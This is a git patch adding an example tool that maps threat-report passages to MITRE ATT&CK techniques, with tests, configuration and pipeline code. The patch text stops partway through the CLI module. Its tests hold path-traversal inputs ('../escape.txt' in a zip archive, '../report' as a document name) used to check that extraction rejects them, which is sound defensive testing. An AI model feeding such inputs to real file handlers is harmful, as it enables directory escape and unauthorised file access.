From 2ba15a8e1700845a0425377e237e1088e00c2e4f Mon Sep 17 00:00:00 2001 From: svonava Date: Thu, 20 Aug 2026 00:09:44 -0700 Subject: [PATCH 1/4] feat(examples): add ATT&CK threat report mapper --- examples/README.md | 1 + .../threat-report-attck-mapper/.env.example | 2 + .../threat-report-attck-mapper/.gitignore | 8 + examples/threat-report-attck-mapper/README.md | 100 ++++ .../threat-report-attck-mapper/config.yaml | 44 ++ .../fixtures/SOURCES.md | 30 + .../threat-report-attck-mapper/pyproject.toml | 37 ++ .../threat-report-attck-mapper/runs/.gitkeep | 1 + .../tests/test_catalog.py | 68 +++ .../tests/test_data.py | 62 ++ .../tests/test_evaluation.py | 34 ++ .../tests/test_pipeline.py | 153 +++++ .../tests/test_provenance.py | 54 ++ .../threat_mapper/__init__.py | 5 + .../threat_mapper/catalog.py | 105 ++++ .../threat_mapper/cli.py | 115 ++++ .../threat_mapper/config.py | 21 + .../threat_mapper/data.py | 178 ++++++ .../threat_mapper/evaluation.py | 80 +++ .../threat_mapper/models.py | 89 +++ .../threat_mapper/pipeline.py | 390 +++++++++++++ .../threat_mapper/runner.py | 461 +++++++++++++++ .../threat_mapper/sie.py | 129 +++++ examples/threat-report-attck-mapper/uv.lock | 545 ++++++++++++++++++ 24 files changed, 2712 insertions(+) create mode 100644 examples/threat-report-attck-mapper/.env.example create mode 100644 examples/threat-report-attck-mapper/.gitignore create mode 100644 examples/threat-report-attck-mapper/README.md create mode 100644 examples/threat-report-attck-mapper/config.yaml create mode 100644 examples/threat-report-attck-mapper/fixtures/SOURCES.md create mode 100644 examples/threat-report-attck-mapper/pyproject.toml create mode 100644 examples/threat-report-attck-mapper/runs/.gitkeep create mode 100644 examples/threat-report-attck-mapper/tests/test_catalog.py create mode 100644 examples/threat-report-attck-mapper/tests/test_data.py create mode 100644 examples/threat-report-attck-mapper/tests/test_evaluation.py create mode 100644 examples/threat-report-attck-mapper/tests/test_pipeline.py create mode 100644 examples/threat-report-attck-mapper/tests/test_provenance.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/__init__.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/catalog.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/cli.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/config.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/data.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/evaluation.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/models.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/pipeline.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/runner.py create mode 100644 examples/threat-report-attck-mapper/threat_mapper/sie.py create mode 100644 examples/threat-report-attck-mapper/uv.lock diff --git a/examples/README.md b/examples/README.md index 393a20416..17cf1f8d9 100644 --- a/examples/README.md +++ b/examples/README.md @@ -32,6 +32,7 @@ service keys. | [Reproduce CMS's L1851 documentation finding](./prior-authorization-review-agent) | Tracing a published six-month requirement against a seven-month face-to-face encounter and CMS's recoupment result | `extract`, `encode`, `score` | SIE endpoint; standalone `uv` project; exact CMS published example | Runnable agent example | | [Reconstruct a bearing failure](./maintenance-triage-agent) | Turning the NTSB's three East Palestine detector readings into a cited temperature and alert sequence without adding a new causal claim | `extract`, `encode`, `score` | SIE endpoint; standalone `uv` project; exact NTSB illustrated report spread | Runnable agent example | | [Make a shelf gap auditable](./retail-shelf-audit) | Detecting one empty facing, deriving its notice and shelf-label crops by geometry, then preserving OCR evidence | `extract` | GPU SIE deployment; standalone `uv` project; CC0 supermarket shelf image and recorded direct-checkpoint evidence included | Runnable evaluation example | +| [Turn threat reports into cited ATT&CK mapping suggestions](./threat-report-attck-mapper) | Mapping full reports against active ATT&CK 19.2, with a separate pinned AnnoCTR linking benchmark and analyst review for every suggestion | `generate`, `extract`, `encode`, `score` | GPU SIE deployment; standalone `uv` project; pinned MITRE ATT&CK and AnnoCTR sources | Runnable agent benchmark | | [A behavioural gate that catches hijacked AI agents by their actions, not their credentials](./agent-action-monitor) | Judging a proposed AI agent action against that agent's own learned baseline in real time, before it reaches a downstream system | `encode`, `score`, `extract` | Docker Compose (gate + self-hosted SIE + n8n + mock downstream), no API key required | Runnable demo | For docs publishing, lead with the quickest runnable demos, then use the diff --git a/examples/threat-report-attck-mapper/.env.example b/examples/threat-report-attck-mapper/.env.example new file mode 100644 index 000000000..65878d6e9 --- /dev/null +++ b/examples/threat-report-attck-mapper/.env.example @@ -0,0 +1,2 @@ +SIE_CLUSTER_URL=https://api.superlinked.com +SIE_API_KEY= diff --git a/examples/threat-report-attck-mapper/.gitignore b/examples/threat-report-attck-mapper/.gitignore new file mode 100644 index 000000000..e93d2c281 --- /dev/null +++ b/examples/threat-report-attck-mapper/.gitignore @@ -0,0 +1,8 @@ +.env +.venv/ +.pytest_cache/ +.ruff_cache/ +__pycache__/ +data/cache/ +runs/* +!runs/.gitkeep diff --git a/examples/threat-report-attck-mapper/README.md b/examples/threat-report-attck-mapper/README.md new file mode 100644 index 000000000..297c2babf --- /dev/null +++ b/examples/threat-report-attck-mapper/README.md @@ -0,0 +1,100 @@ +# Turn threat reports into cited ATT&CK mapping suggestions + +This example reads adversary behavior from a threat report, retrieves the +closest active MITRE ATT&CK Enterprise techniques, reranks the hard negatives, +and verifies the final suggestion against an exact quote. Every selected +technique remains `needs_analyst_review`. The model can suggest, request review, +or abstain; it cannot accept a mapping. + +The checked configuration uses these SIE models: + +| Job | Model | SIE primitive | +|---|---|---| +| Extract behavior spans | `Qwen/Qwen3.5-4B` | `generate` with strict JSON schema | +| Extract tools, credentials, actors, and protocols | `fastino/gliner2-large-v1` | `extract` | +| Retrieve active ATT&CK techniques | `Qwen/Qwen3-Embedding-8B` | `encode` | +| Rerank close technique definitions | `Qwen/Qwen3-Reranker-4B` | `score` | +| Verify the evidence and candidate | `Qwen/Qwen3.5-4B` | `generate` with strict JSON schema | +| Resolve ambiguous cases | `Qwen/Qwen3.6-27B` | `generate` with strict JSON schema | + +`config.yaml` records the expected catalog revision for every checkpoint. A +managed run also records request IDs, the settled rate-book version, and SIE's +execution-identity hashes. + +`Qwen3-Embedding-8B` returns 4096-dimensional dense vectors and accepts up to +40,960 tokens. The query uses a security-specific retrieval instruction. ATT&CK +definitions are encoded as documents, so they do not receive the query prefix. + +## Data + +`attck-map fetch` downloads two pinned sources: + +- MITRE ATT&CK Enterprise 19.2, 697 active techniques in the August 5, 2026 + STIX bundle. +- AnnoCTR at commit `d510b694`, including its published train, dev, and test + splits plus the corpus's 578-technique ATT&CK snapshot under CC BY-SA 4.0. + +The command verifies both SHA-256 hashes. See `fixtures/SOURCES.md` for source, +license, and benchmark details. + +## Run the benchmark + +You need Python 3.12 and a GPU-backed SIE endpoint that serves the configured +models. + +```bash +cd examples/threat-report-attck-mapper +cp .env.example .env +uv sync --frozen + +uv run attck-map fetch +uv run attck-map demo --run-id mfa-psa +uv run attck-map report path/to/report.pdf --run-id report-review +uv run attck-map benchmark --split dev --stage retrieve --limit 50 --run-id dev-smoke +uv run attck-map evaluate runs/dev-smoke +``` + +`demo` runs the complete report agent on Proofpoint's “MFA PSA, Oh My!” report +from AnnoCTR's test split. The report agent maps against active ATT&CK 19.2. It +has to distinguish interception and cookie theft from later reuse of the stolen +cookie, including current sub-technique `T1550.004`. + +Remove `--limit` for the complete benchmark split. The stages are cumulative: + +- `retrieve` embeds the active ATT&CK catalog once and measures dense recall. +- `rerank` sends the top candidates through `Qwen3-Reranker-4B`. +- `verify` runs the strict verifier and invokes the 27B model only when the 4B + verifier returns `ambiguous`. + +Each run writes `predictions.jsonl`, compressed embedding matrices, an API-call +ledger, recomputed metrics, and a manifest with source and artifact hashes. +The saved predictions retain the exact AnnoCTR evidence span and all active gold +technique IDs. + +## What the metrics mean + +The AnnoCTR linking task starts from a human-annotated behavior span. Some spans +have more than one valid technique, so the loader groups duplicate spans into a +multi-label case. The report includes: + +- dense hit rate, gold recall at 10, MRR, and document-macro hit rate; +- reranker hit rate and recall at 5; +- verifier coverage, selective precision, and review or abstention rate. + +The benchmark uses the ATT&CK entity snapshot shipped with AnnoCTR because that +is the label space its annotations describe. Full-report review uses ATT&CK +19.2. Mixing those catalogs would count taxonomy changes as model misses. Any +gold ID missing from the bundled benchmark catalog appears under +`excluded_gold_ids`. + +## Decision boundary + +This project prepares ATT&CK suggestions for human review. It does not detect an +intrusion, change a security control, or assert that a report author endorsed +the suggested mapping. Full-report behavior extraction and annotated-span +linking are separate evaluation surfaces; the saved manifest states which one a +run measured. + +MITRE ATT&CK is a registered trademark of The MITRE Corporation. AnnoCTR report +text and annotations are licensed CC BY-SA 4.0 by the corpus authors and source +contributors. diff --git a/examples/threat-report-attck-mapper/config.yaml b/examples/threat-report-attck-mapper/config.yaml new file mode 100644 index 000000000..b6d041b0d --- /dev/null +++ b/examples/threat-report-attck-mapper/config.yaml @@ -0,0 +1,44 @@ +cluster: + url: "http://localhost:8080" + api_key: "" + provision_timeout_s: 900 + +models: + parse: "docling" + behavior_extract: "Qwen/Qwen3.5-4B" + entities: "fastino/gliner2-large-v1" + retrieve: "Qwen/Qwen3-Embedding-8B" + rerank: "Qwen/Qwen3-Reranker-4B" + verify: "Qwen/Qwen3.5-4B" + escalate: "Qwen/Qwen3.6-27B" + +model_revisions: + docling: "310479be56f3a99a0fea75d930e11eea38bf5ef7" + Qwen/Qwen3.5-4B: "851bf6e806efd8d0a36b00ddf55e13ccb7b8cd0a" + fastino/gliner2-large-v1: "b122b11eeaee4dabd32bed80412f3234c0d0e943" + Qwen/Qwen3-Embedding-8B: "1d8ad4ca9b3dd8059ad90a75d4983776a23d44af" + Qwen/Qwen3-Reranker-4B: "22e683669bc0f0bd69640a1354a6d0aebcfeede5" + Qwen/Qwen3.6-27B: "6a9e13bd6fc8f0983b9b99948120bc37f49c13e9" + +retrieval: + instruction: "Given a behavior described in a cyber threat report, retrieve the MITRE ATT&CK Enterprise technique that directly explains the behavior." + candidate_count: 25 + rerank_count: 8 + verifier_count: 5 + embedding_batch_size: 16 + +report: + max_behaviors: 12 + chunk_characters: 12000 + use_escalation: true + +sources: + attack: + version: "19.2" + commit: "6cda5ad8462c79e14fbb872f4e09059b18e0cfc4" + url: "https://raw.githubusercontent.com/mitre-attack/attack-stix-data/6cda5ad8462c79e14fbb872f4e09059b18e0cfc4/enterprise-attack/enterprise-attack-19.2.json" + sha256: "dc1639caa5501d720e280cf1cbd8fbe009884a0c9b3e6e9ed9d0c25166c3d8f4" + annoctr: + commit: "d510b6949e1938d47c93a43eedd562dc538439dc" + url: "https://github.com/boschresearch/anno-ctr-lrec-coling-2024/archive/d510b6949e1938d47c93a43eedd562dc538439dc.zip" + sha256: "2eb29db3bba2e95f908ad3d4195c202b3c44a666f98c43e4c02a809edffcd480" diff --git a/examples/threat-report-attck-mapper/fixtures/SOURCES.md b/examples/threat-report-attck-mapper/fixtures/SOURCES.md new file mode 100644 index 000000000..7dbd65a7b --- /dev/null +++ b/examples/threat-report-attck-mapper/fixtures/SOURCES.md @@ -0,0 +1,30 @@ +# Sources and evaluation boundary + +The example downloads two immutable public sources and verifies each file by +SHA-256 before use. + +## MITRE ATT&CK Enterprise 19.2 + +- Source: `mitre-attack/attack-stix-data` +- Release: Enterprise ATT&CK 19.2, modified August 5, 2026 +- Commit: `6cda5ad8462c79e14fbb872f4e09059b18e0cfc4` +- Terms: MITRE ATT&CK terms of use. ATT&CK must be attributed to The MITRE + Corporation. + +## AnnoCTR + +- Source: `boschresearch/anno-ctr-lrec-coling-2024` +- Commit: `d510b6949e1938d47c93a43eedd562dc538439dc` +- License: CC BY-SA 4.0 for the `AnnoCTR/` corpus +- Paper: Lukas Lange et al., “AnnoCTR: A Dataset for Detecting and Linking + Entities, Tactics, and Techniques in Cyber Threat Reports,” LREC-COLING 2024. + +The benchmark uses AnnoCTR's published train, dev, and test files. Rows that +share one annotated span are grouped into a single multi-label case. Historical +linking is scored against the 578-technique MITRE entity snapshot distributed +with AnnoCTR. Full-report review uses active ATT&CK 19.2. Keeping the catalogs +separate prevents a correct current mapping from being marked wrong because an +older technique definition or label changed. + +The benchmark starts from an annotated behavior span. It measures ATT&CK +linking; it does not claim to measure behavior detection over a full report. diff --git a/examples/threat-report-attck-mapper/pyproject.toml b/examples/threat-report-attck-mapper/pyproject.toml new file mode 100644 index 000000000..1c90e6903 --- /dev/null +++ b/examples/threat-report-attck-mapper/pyproject.toml @@ -0,0 +1,37 @@ +[project] +name = "threat-report-attck-mapper" +version = "0.1.0" +description = "Map cited threat-report behavior to MITRE ATT&CK with SIE" +readme = "README.md" +requires-python = ">=3.12,<3.13" +dependencies = [ + "httpx>=0.27", + "numpy>=1.26", + "python-dotenv>=1.0", + "pyyaml>=6.0", + "rich>=13.7", + "sie-sdk==0.7.1", +] + +[project.scripts] +attck-map = "threat_mapper.cli:main" + +[dependency-groups] +dev = [ + "pytest>=9.0", + "ruff>=0.14", +] + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["threat_mapper"] + +[tool.ruff] +line-length = 120 +target-version = "py312" + +[tool.pytest.ini_options] +testpaths = ["tests"] diff --git a/examples/threat-report-attck-mapper/runs/.gitkeep b/examples/threat-report-attck-mapper/runs/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/threat-report-attck-mapper/runs/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/threat-report-attck-mapper/tests/test_catalog.py b/examples/threat-report-attck-mapper/tests/test_catalog.py new file mode 100644 index 000000000..0ccbc4dfc --- /dev/null +++ b/examples/threat-report-attck-mapper/tests/test_catalog.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +import json + +from threat_mapper.catalog import catalog_by_id, load_annoctr_catalog, load_catalog + + +def test_load_catalog_keeps_active_techniques_and_cleans_description(tmp_path) -> None: + bundle = { + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--one", + "name": "Adversary-in-the-Middle", + "description": "Adversaries use proxy. (Citation: Example) See [cookies](https://example.test).", + "modified": "2026-08-05T00:00:00Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1557", + "url": "https://attack.mitre.org/techniques/T1557", + } + ], + "kill_chain_phases": [{"phase_name": "credential-access"}], + "x_mitre_platforms": ["Windows"], + "x_mitre_is_subtechnique": False, + }, + { + "type": "attack-pattern", + "id": "attack-pattern--old", + "name": "Old", + "revoked": True, + "external_references": [{"source_name": "mitre-attack", "external_id": "T1000"}], + }, + ] + } + path = tmp_path / "attack.json" + path.write_text(json.dumps(bundle), encoding="utf-8") + + techniques = load_catalog(path) + + assert len(techniques) == 1 + assert techniques[0].technique_id == "T1557" + assert techniques[0].description == "Adversaries use proxy. See cookies." + assert "credential access" in techniques[0].candidate_text + assert catalog_by_id(techniques)["T1557"].name == "Adversary-in-the-Middle" + + +def test_load_annoctr_catalog_preserves_its_historical_label_space(tmp_path) -> None: + path = tmp_path / "mitre_entity.jsonl" + path.write_text( + json.dumps( + { + "idx": "https://attack.mitre.org/techniques/T1550/004", + "title": "Web Session Cookie", + "text": "Use a stolen cookie. (Citation: old)", + "entity_type": "techniques", + "is_subtechnique": True, + } + ) + + "\n", + encoding="utf-8", + ) + + techniques = load_annoctr_catalog(path) + + assert techniques[0].technique_id == "T1550.004" + assert techniques[0].description == "Use a stolen cookie." diff --git a/examples/threat-report-attck-mapper/tests/test_data.py b/examples/threat-report-attck-mapper/tests/test_data.py new file mode 100644 index 000000000..122c0cd64 --- /dev/null +++ b/examples/threat-report-attck-mapper/tests/test_data.py @@ -0,0 +1,62 @@ +from __future__ import annotations + +import json +import zipfile + +import pytest + +from threat_mapper.data import _safe_extract, find_annoctr_report, load_linking_cases + + +def test_linking_rows_with_same_span_become_one_multilabel_case(tmp_path) -> None: + path = tmp_path / "root" / "AnnoCTR" / "linking_mitre_only" + path.mkdir(parents=True) + rows = [ + { + "mention": "stolen session cookie", + "_context_left": "used a ", + "_context_right": " to sign in", + "sentence_left": "before", + "sentence_right": "after", + "label_link": "https://attack.mitre.org/techniques/T1539", + "entity_class": "CE", + "entity_type": "TECHNIQUE", + "document": "report", + }, + { + "mention": "stolen session cookie", + "_context_left": "used a ", + "_context_right": " to sign in", + "sentence_left": "before", + "sentence_right": "after", + "label_link": "https://attack.mitre.org/techniques/T1550/004", + "entity_class": "CI", + "entity_type": "TECHNIQUE", + "document": "report", + }, + ] + (path / "test.jsonl").write_text( + "\n".join(json.dumps(row) for row in rows) + "\n\n", + encoding="utf-8", + ) + + cases = load_linking_cases(tmp_path, "test") + + assert len(cases) == 1 + assert cases[0].evidence == "used a stolen session cookie to sign in" + assert cases[0].gold_ids == ("T1539", "T1550.004") + assert cases[0].annotation_classes == ("CE", "CI") + + +def test_safe_extract_rejects_zip_slip(tmp_path) -> None: + archive = tmp_path / "bad.zip" + with zipfile.ZipFile(archive, "w") as bundle: + bundle.writestr("../escape.txt", "bad") + + with pytest.raises(RuntimeError, match="escapes"): + _safe_extract(archive, tmp_path / "output") + + +def test_find_annoctr_report_rejects_path_traversal(tmp_path) -> None: + with pytest.raises(ValueError, match="safe AnnoCTR document"): + find_annoctr_report(tmp_path, "test", "../report") diff --git a/examples/threat-report-attck-mapper/tests/test_evaluation.py b/examples/threat-report-attck-mapper/tests/test_evaluation.py new file mode 100644 index 000000000..37654b4c5 --- /dev/null +++ b/examples/threat-report-attck-mapper/tests/test_evaluation.py @@ -0,0 +1,34 @@ +from __future__ import annotations + +from threat_mapper.evaluation import evaluate_predictions + + +def candidate(technique_id: str) -> dict[str, object]: + return {"technique_id": technique_id, "name": technique_id, "dense_score": 0.5} + + +def test_evaluation_reports_retrieval_rerank_and_selective_verifier_metrics() -> None: + rows = [ + { + "document": "one", + "gold_ids": ["T1539"], + "retrieval": [candidate("T1539"), candidate("T1557")], + "rerank": [candidate("T1557"), candidate("T1539")], + "verification": {"support": "supported", "selected_technique_id": "T1539"}, + }, + { + "document": "two", + "gold_ids": ["T1557", "T1539"], + "retrieval": [candidate("T1000"), candidate("T1557")], + "rerank": [candidate("T1557"), candidate("T1000")], + "verification": {"support": "ambiguous", "selected_technique_id": "T1557"}, + }, + ] + + metrics = evaluate_predictions(rows) + + assert metrics["retrieval"]["hit_at_1"] == 0.5 + assert metrics["retrieval"]["hit_at_5"] == 1.0 + assert metrics["rerank"]["hit_at_1"] == 0.5 + assert metrics["verification"]["coverage"] == 0.5 + assert metrics["verification"]["selective_precision"] == 1.0 diff --git a/examples/threat-report-attck-mapper/tests/test_pipeline.py b/examples/threat-report-attck-mapper/tests/test_pipeline.py new file mode 100644 index 000000000..039fe717e --- /dev/null +++ b/examples/threat-report-attck-mapper/tests/test_pipeline.py @@ -0,0 +1,153 @@ +from __future__ import annotations + +import numpy as np + +from threat_mapper.models import BehaviorEvidence, CandidateScore, Technique +from threat_mapper.pipeline import _ground_quote, retrieve, verify_mapping + + +def technique(technique_id: str, name: str) -> Technique: + return Technique( + technique_id=technique_id, + name=name, + description=f"Description for {name}", + tactics=(), + platforms=(), + is_subtechnique="." in technique_id, + attack_url=f"https://attack.mitre.org/techniques/{technique_id}", + stix_id=f"attack-pattern--{technique_id}", + modified="2026-08-05T00:00:00Z", + ) + + +class FakeGenerateClient: + def __init__(self, payloads: list[dict[str, object]]) -> None: + self.payloads = payloads + self.models: list[str] = [] + + def generate(self, model: str, prompt: str, **kwargs): + import json + + self.models.append(model) + return {"model": model, "text": json.dumps(self.payloads.pop(0)), "request": {"id": "request"}} + + +def test_ground_quote_recovers_source_whitespace() -> None: + source = "The actor used a transparent\nreverse proxy to steal cookies." + result = _ground_quote(source, "transparent reverse proxy") + assert result is not None + assert result[0] == "transparent\nreverse proxy" + + +def test_behavior_extraction_keeps_the_quote_in_its_source_chunk() -> None: + from threat_mapper.pipeline import extract_behaviors + + client = FakeGenerateClient( + [ + {"behaviors": []}, + {"behaviors": [{"quote": "used a proxy", "summary": "AiTM"}]}, + ] + ) + report = "First paragraph used a proxy.\n\nSecond paragraph used a proxy." + + behaviors, _ = extract_behaviors( + client, + "Qwen/Qwen3.5-4B", + report, + max_behaviors=4, + chunk_characters=31, + provision_timeout_s=60, + ) + + assert len(behaviors) == 1 + assert behaviors[0].source_start == report.rindex("used a proxy") + + +def test_retrieve_sorts_by_cosine_score() -> None: + techniques = [technique("T1557", "AiTM"), technique("T1539", "Steal Cookie")] + catalog = np.asarray([[1.0, 0.0], [0.0, 1.0]], dtype=np.float32) + query = np.asarray([0.1, 0.9], dtype=np.float32) + + rows = retrieve(query, catalog, techniques, 2) + + assert [row.technique_id for row in rows] == ["T1539", "T1557"] + + +def test_verifier_escalates_ambiguous_and_keeps_human_review_boundary() -> None: + client = FakeGenerateClient( + [ + { + "selected_index": 0, + "support": "ambiguous", + "evidence_quote": "stolen session cookies", + "rationale": "Two close techniques", + }, + { + "selected_index": 1, + "support": "supported", + "evidence_quote": "used stolen session cookies to log in", + "rationale": "The quote states reuse after theft", + }, + ] + ) + behavior = BehaviorEvidence( + quote="Necrobrowser used stolen session cookies to log in to the target site.", + summary="reuse cookie", + source_start=0, + source_end=70, + ) + candidates = [ + CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0), + CandidateScore("T1550.004", "Web Session Cookie", 0.8, 0.7, 1), + ] + lookup = {row.technique_id: technique(row.technique_id, row.name) for row in candidates} + + decision, calls = verify_mapping( + client, + "Qwen/Qwen3.5-4B", + "Qwen/Qwen3.6-27B", + behavior, + candidates, + lookup, + verifier_count=2, + use_escalation=True, + provision_timeout_s=60, + ) + + assert decision.selected_technique_id == "T1550.004" + assert decision.route == "suggested_mapping" + assert decision.status == "needs_analyst_review" + assert decision.escalated is True + assert client.models == ["Qwen/Qwen3.5-4B", "Qwen/Qwen3.6-27B"] + assert [call["stage"] for call in calls] == ["verify", "escalate"] + + +def test_verifier_fails_closed_when_evidence_is_not_in_source() -> None: + client = FakeGenerateClient( + [ + { + "selected_index": 0, + "support": "supported", + "evidence_quote": "words that are absent", + "rationale": "unsupported output", + } + ] + ) + behavior = BehaviorEvidence("stole cookies", "", 0, 13) + candidate = CandidateScore("T1539", "Steal Web Session Cookie", 0.9, 0.8, 0) + lookup = {"T1539": technique("T1539", "Steal Web Session Cookie")} + + decision, _ = verify_mapping( + client, + "small", + "large", + behavior, + [candidate], + lookup, + verifier_count=1, + use_escalation=False, + provision_timeout_s=60, + ) + + assert decision.route == "abstain" + assert decision.selected_technique_id is None diff --git a/examples/threat-report-attck-mapper/tests/test_provenance.py b/examples/threat-report-attck-mapper/tests/test_provenance.py new file mode 100644 index 000000000..34f2d5a05 --- /dev/null +++ b/examples/threat-report-attck-mapper/tests/test_provenance.py @@ -0,0 +1,54 @@ +from __future__ import annotations + +import pytest + +from threat_mapper import runner +from threat_mapper.runner import _rate_book_provenance + + +def test_rate_book_provenance_requires_one_version_and_execution_identity() -> None: + calls = [ + { + "request_id": "request-1", + "credits_debited": 10, + "rate_book_version": "rates-v1", + "execution_identity_sha256": "identity-a", + }, + { + "request_id": "request-2", + "credits_debited": 3, + "rate_book_version": "rates-v1", + "execution_identity_sha256": "identity-b", + }, + ] + + result = _rate_book_provenance(calls) + + assert result["version"] == "rates-v1" + assert result["request_ids"] == ["request-1", "request-2"] + assert result["execution_identity_sha256"] == ["identity-a", "identity-b"] + + +def test_rate_book_provenance_rejects_charged_request_without_identity() -> None: + with pytest.raises(RuntimeError, match="execution identity"): + _rate_book_provenance( + [ + { + "request_id": "request-1", + "credits_debited": 1, + "rate_book_version": "rates-v1", + } + ] + ) + + +def test_begin_run_reserves_an_id_against_concurrent_writers(tmp_path, monkeypatch) -> None: + monkeypatch.setattr(runner, "RUNS_DIR", tmp_path) + + final_dir, staging, reservation = runner._begin_run("one") + + assert final_dir == tmp_path / "one" + assert staging.is_dir() + assert reservation.is_dir() + with pytest.raises(FileExistsError, match="reserved"): + runner._begin_run("one") diff --git a/examples/threat-report-attck-mapper/threat_mapper/__init__.py b/examples/threat-report-attck-mapper/threat_mapper/__init__.py new file mode 100644 index 000000000..28122eac5 --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/__init__.py @@ -0,0 +1,5 @@ +"""Cited threat-report to MITRE ATT&CK mapping with SIE.""" + +__all__ = ["__version__"] + +__version__ = "0.1.0" diff --git a/examples/threat-report-attck-mapper/threat_mapper/catalog.py b/examples/threat-report-attck-mapper/threat_mapper/catalog.py new file mode 100644 index 000000000..d3fad1cdc --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/catalog.py @@ -0,0 +1,105 @@ +from __future__ import annotations + +import html +import json +import re +from pathlib import Path +from typing import Any + +from .models import Technique + +CITATION_RE = re.compile(r"\(Citation:[^)]+\)") +MARKDOWN_LINK_RE = re.compile(r"\[([^\]]+)\]\([^)]+\)") +TAG_RE = re.compile(r"<[^>]+>") + + +def _plain_text(value: str) -> str: + value = MARKDOWN_LINK_RE.sub(r"\1", value) + value = CITATION_RE.sub("", value) + value = TAG_RE.sub("", value) + return " ".join(html.unescape(value).split()) + + +def _attack_reference(obj: dict[str, Any]) -> dict[str, Any] | None: + for reference in obj.get("external_references", []): + external_id = str(reference.get("external_id", "")) + if reference.get("source_name") == "mitre-attack" and re.fullmatch(r"T\d{4}(?:\.\d{3})?", external_id): + return reference + return None + + +def load_catalog(path: Path, *, active_only: bool = True) -> list[Technique]: + payload = json.loads(path.read_text(encoding="utf-8")) + techniques: list[Technique] = [] + for obj in payload.get("objects", []): + if obj.get("type") != "attack-pattern": + continue + if active_only and (obj.get("revoked") is True or obj.get("x_mitre_deprecated") is True): + continue + reference = _attack_reference(obj) + if reference is None: + continue + technique_id = str(reference["external_id"]) + techniques.append( + Technique( + technique_id=technique_id, + name=str(obj.get("name", "")).strip(), + description=_plain_text(str(obj.get("description", ""))), + tactics=tuple( + sorted( + { + str(phase.get("phase_name", "")).replace("-", " ") + for phase in obj.get("kill_chain_phases", []) + if phase.get("phase_name") + } + ) + ), + platforms=tuple(sorted(str(value) for value in obj.get("x_mitre_platforms", []))), + is_subtechnique=bool(obj.get("x_mitre_is_subtechnique", False)), + attack_url=str(reference.get("url", f"https://attack.mitre.org/techniques/{technique_id}")), + stix_id=str(obj.get("id", "")), + modified=str(obj.get("modified", "")), + ) + ) + if not techniques: + raise ValueError(f"No Enterprise ATT&CK techniques found in {path}") + return sorted(techniques, key=lambda item: item.technique_id) + + +def load_annoctr_catalog(path: Path) -> list[Technique]: + techniques: list[Technique] = [] + with path.open(encoding="utf-8") as stream: + for line in stream: + if not line.strip(): + continue + row = json.loads(line) + if row.get("entity_type") != "techniques": + continue + attack_url = str(row.get("idx", "")) + match = re.search(r"/techniques/(T\d{4})(?:/(\d{3}))?", attack_url) + if match is None: + continue + technique_id = match.group(1) if match.group(2) is None else f"{match.group(1)}.{match.group(2)}" + techniques.append( + Technique( + technique_id=technique_id, + name=str(row.get("title", row.get("entity", ""))).strip(), + description=_plain_text(str(row.get("text", ""))), + tactics=(), + platforms=(), + is_subtechnique=bool(row.get("is_subtechnique", False)), + attack_url=attack_url, + stix_id=f"annoctr:{technique_id}", + modified="", + ) + ) + if not techniques: + raise ValueError(f"No AnnoCTR ATT&CK techniques found in {path}") + return sorted(techniques, key=lambda item: item.technique_id) + + +def catalog_by_id(techniques: list[Technique]) -> dict[str, Technique]: + result = {technique.technique_id: technique for technique in techniques} + if len(result) != len(techniques): + raise ValueError("ATT&CK catalog contains duplicate technique IDs") + return result diff --git a/examples/threat-report-attck-mapper/threat_mapper/cli.py b/examples/threat-report-attck-mapper/threat_mapper/cli.py new file mode 100644 index 000000000..1aeb7ec3e --- /dev/null +++ b/examples/threat-report-attck-mapper/threat_mapper/cli.py @@ -0,0 +1,115 @@ +from __future__ import annotations + +import argparse +import json +from datetime import UTC, datetime +from pathlib import Path + +from rich.console import Console +from rich.table import Table + +from .catalog import load_annoctr_catalog, load_catalog +from .config import load_config +from .data import ensure_sources, find_annoctr_catalog, load_linking_cases +from .evaluation import evaluate_predictions, read_predictions +from .runner import benchmark, map_annoctr_demo, map_report + +console = Console() + + +def _fetch(args: argparse.Namespace) -> None: + config = load_config() + paths = ensure_sources(config, force=args.force) + techniques = load_catalog(paths["attack"]) + benchmark_techniques = load_annoctr_catalog(find_annoctr_catalog(paths["annoctr"])) + benchmark_ids = {technique.technique_id for technique in benchmark_techniques} + table = Table("Source", "Path", "Cases", "Scored", "Missing IDs") + table.add_row("MITRE ATT&CK Enterprise", str(paths["attack"]), str(len(techniques)), "", "") + table.add_row("AnnoCTR ATT&CK snapshot", str(paths["annoctr"]), str(len(benchmark_techniques)), "", "") + for split in ("train", "dev", "test"): + cases = load_linking_cases(paths["annoctr"], split) + scored = sum(bool(set(case.gold_ids).intersection(benchmark_ids)) for case in cases) + historical = sum(len(set(case.gold_ids).difference(benchmark_ids)) for case in cases) + table.add_row(f"AnnoCTR {split}", str(paths["annoctr"]), str(len(cases)), str(scored), str(historical)) + console.print(table) + + +def _benchmark(args: argparse.Namespace) -> None: + config = load_config() + run_id = args.run_id or datetime.now(UTC).strftime("%Y%m%dT%H%M%SZ") + result = benchmark(config, split=args.split, limit=args.limit, stage=args.stage, run_id=run_id) + console.print(f"[green]Wrote[/] {result}") + + +def _report(args: argparse.Namespace) -> None: + config = load_config() + run_id = args.run_id or datetime.now(UTC).strftime("%Y%m%dT%H%M%SZ") + result = map_report(config, report_path=args.report, run_id=run_id) + console.print(f"[green]Wrote[/] {result}") + + +def _demo(args: argparse.Namespace) -> None: + config = load_config() + run_id = args.run_id or datetime.now(UTC).strftime("%Y%m%dT%H%M%SZ") + result = map_annoctr_demo( + config, + document=args.document, + split=args.split, + 